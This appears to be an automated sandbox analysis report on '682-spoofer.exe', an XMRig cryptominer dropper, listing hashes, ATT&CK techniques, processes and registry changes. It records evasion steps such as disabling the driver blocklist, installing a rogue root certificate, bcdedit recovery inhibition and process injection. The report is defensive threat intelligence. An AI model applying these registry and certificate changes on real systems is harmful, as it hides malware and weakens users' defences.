xmrig | 069755dae534e8a0bb971d1fe63130508dc16ed4728575d8339105f5add6e61c

Analysis

user interaction
yes
max time kernel
150s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/10/2026, 22:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
682-spoofer.exe
Size 5.7MB
Sample261002-2fnhmsxtbs
SHA256 069755dae534e8a0bb971d1fe63130508dc16ed4728575d8339105f5add6e61c
MD5 eb262c88e2db73ca700fd6a86757c481
SHA1 428f2901083b8b9b46cce544cdc2f0399ddb7547
SHA512 221362ada4f0d2582c8c3610236136ef08252e82423ecb7599b571f4431bdcae5bc6c195f47ef1d8f9d16350b3622ddb03e2ff88a3f8d959ed020aa3dac3989c
SSDEEP 98304:3TK8wK7aaoLyzCqlyMkKf1uXknTquK//XeRmY0EFYRDB6RDHooU:31w/asElyzKf1uXkTFK//XQmY0EFYZR
TLSH
T17956BE3BDBC226E57058BBAE754B3D5AF3E950B4233D456BC06D3AD1AC09368C901C6B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution xmrig miner persistence privilege_escalation ransomware spyware trojan upx

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 3944 created 612	3944	powershell.EXE	5
PID 1080 created 612	1080	powershell.EXE	5

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
980	bcdedit.exe
4672	bcdedit.exe

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral1/memory/4196-135-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/4196-138-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/4196-140-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/4196-141-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/4196-139-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/4196-137-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/4196-134-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3944	powershell.EXE
1080	powershell.EXE
1868	powershell.exe
100	powershell.exe

Manipulates Digital Signatures 1 TTPs 1 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\71C0AA5B0E7886813051C6CA8277FEE9E0D923C5\Blob = 03000000010000001400000071c0aa5b0e7886813051c6ca8277fee9e0d923c520000000010000000c03000030820308308201f0a003020102021024380919418cfb9444f28ee8579116f0300d06092a864886f70d01010b0500301c311a301806035504030c116e756c6c2d73706f6f6665722054657374301e170d3236303931323035333230335a170d3331303931323035343230335a301c311a301806035504030c116e756c6c2d73706f6f666572205465737430820122300d06092a864886f70d01010105000382010f003082010a0282010100cf90601ed3a10494044d51ef5125836a4c42944b34aba121280ab7316bea7e3941d8f7c097ae6f849a805f941f43b7caedfb271dd415d061982ac183d4a25f35079db7fdd097e8e20a452fd48c4fb9e280dafefd45e1a9bb7cd47fa97efbf8ee216c8f1253e6455f2786810c77df343aa46a1a8cb623208c409d82afa5be6c83ec9481c1df83e2876e9040b2053b46de8f064a7f9a4f6a54cea3d19c19cb3310e8546a25d1ac04cf0c37d808f63baf1a00dec8d60c58eaa8a61ba94f2e790c2d9d2903164cbb00697d6fd04388af8c974f92364892e44733c0c55b9da16225f05d7a21d233b90431cc707db971a608b972de51cb463a605f776b82ce0434ea950203010001a3463044300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303301d0603551d0e04160414a0f5e24d2284920109245094af5dae027576d6ac300d06092a864886f70d01010b050003820101002afd53ba9f1b49545c112052ba2ac164b3bd9d25a6a75f664469740b5872c8009cb3b80c09bf350552d1f041c074324f41748ec4aca59fd93da8753ab54bd3204db84827be3e375ddd484d3a041f9b680b749935533452c3218803273ae46ac37e8905716c306cbc9076061507d2c61dc5806dd390b885ae4593351d64d9e4fc721e82f0ad38c43d11bd99fa4d62d1c917ae3f7d1623653ee0605b19312b34fcd0724a5395fc3ed10d5c364856b1b0c9894a9d5684562036822ce53313519988871779b851ada284cb941b8e4527be0afd4bb7c4367d223fc366498d2e57180b5ea856f0300b97dcf326e6ce7cf209724fb1851101d287940e4b4419d14adae4	682.exe

Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

Disable Windows Driver Blocklist via Registry.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	682.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\International\Geo\Nation	682-spoofer.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
2316	injektion.exe
2116	682.exe
3332	ywkzpvlakbmn.exe
5580	hwid-shifter-manual.sys

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates connected drives 3 TTPs 6 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	682.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.EXE
\??\F:\	powershell.EXE

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2832	powercfg.exe
4776	powercfg.exe
3548	powercfg.exe
3968	powercfg.exe
4748	powercfg.exe
4236	powercfg.exe
1080	powercfg.exe
3372	powercfg.exe

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	injektion.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	ywkzpvlakbmn.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2316 set thread context of 2600	2316	injektion.exe	123
PID 3332 set thread context of 908	3332	ywkzpvlakbmn.exe	158
PID 3332 set thread context of 1700	3332	ywkzpvlakbmn.exe	163
PID 3332 set thread context of 4196	3332	ywkzpvlakbmn.exe	164
PID 3944 set thread context of 4484	3944	powershell.EXE	167
PID 1080 set thread context of 5156	1080	powershell.EXE	168

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4196-128-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/4196-132-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/4196-133-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/4196-135-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/4196-138-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/4196-140-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/4196-141-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/4196-139-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/4196-137-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/4196-134-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/4196-131-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/4196-129-0x0000000140000000-0x0000000140835000-memory.dmp	upx

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3868	sc.exe
3100	sc.exe
3728	sc.exe
452	sc.exe
4268	sc.exe
3288	sc.exe
728	sc.exe
2728	sc.exe
2392	sc.exe
1028	sc.exe
4672	sc.exe
2324	sc.exe
3952	sc.exe
2124	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3972	cmd.exe
2984	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\71C0AA5B0E7886813051C6CA8277FEE9E0D923C5\Blob = 03000000010000001400000071c0aa5b0e7886813051c6ca8277fee9e0d923c520000000010000000c03000030820308308201f0a003020102021024380919418cfb9444f28ee8579116f0300d06092a864886f70d01010b0500301c311a301806035504030c116e756c6c2d73706f6f6665722054657374301e170d3236303931323035333230335a170d3331303931323035343230335a301c311a301806035504030c116e756c6c2d73706f6f666572205465737430820122300d06092a864886f70d01010105000382010f003082010a0282010100cf90601ed3a10494044d51ef5125836a4c42944b34aba121280ab7316bea7e3941d8f7c097ae6f849a805f941f43b7caedfb271dd415d061982ac183d4a25f35079db7fdd097e8e20a452fd48c4fb9e280dafefd45e1a9bb7cd47fa97efbf8ee216c8f1253e6455f2786810c77df343aa46a1a8cb623208c409d82afa5be6c83ec9481c1df83e2876e9040b2053b46de8f064a7f9a4f6a54cea3d19c19cb3310e8546a25d1ac04cf0c37d808f63baf1a00dec8d60c58eaa8a61ba94f2e790c2d9d2903164cbb00697d6fd04388af8c974f92364892e44733c0c55b9da16225f05d7a21d233b90431cc707db971a608b972de51cb463a605f776b82ce0434ea950203010001a3463044300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303301d0603551d0e04160414a0f5e24d2284920109245094af5dae027576d6ac300d06092a864886f70d01010b050003820101002afd53ba9f1b49545c112052ba2ac164b3bd9d25a6a75f664469740b5872c8009cb3b80c09bf350552d1f041c074324f41748ec4aca59fd93da8753ab54bd3204db84827be3e375ddd484d3a041f9b680b749935533452c3218803273ae46ac37e8905716c306cbc9076061507d2c61dc5806dd390b885ae4593351d64d9e4fc721e82f0ad38c43d11bd99fa4d62d1c917ae3f7d1623653ee0605b19312b34fcd0724a5395fc3ed10d5c364856b1b0c9894a9d5684562036822ce53313519988871779b851ada284cb941b8e4527be0afd4bb7c4367d223fc366498d2e57180b5ea856f0300b97dcf326e6ce7cf209724fb1851101d287940e4b4419d14adae4	682.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	682-spoofer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 30 Sep 2026 10:35:21 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a7822ca-51cb-46f7-	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\32b52f14-fd5e-4eaa- = "8324"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1f7bde53-c7c8-45d5- = 67dfbf06be52dd01	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d1edf3c-3b84-4daa-	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ddce0288-343b-4678- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e55bb423-704a-49f0- = "8324"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e55bb423-704a-49f0- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000062501ffbd52dd01062501ffbd52dd01062501ffbd52dd01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe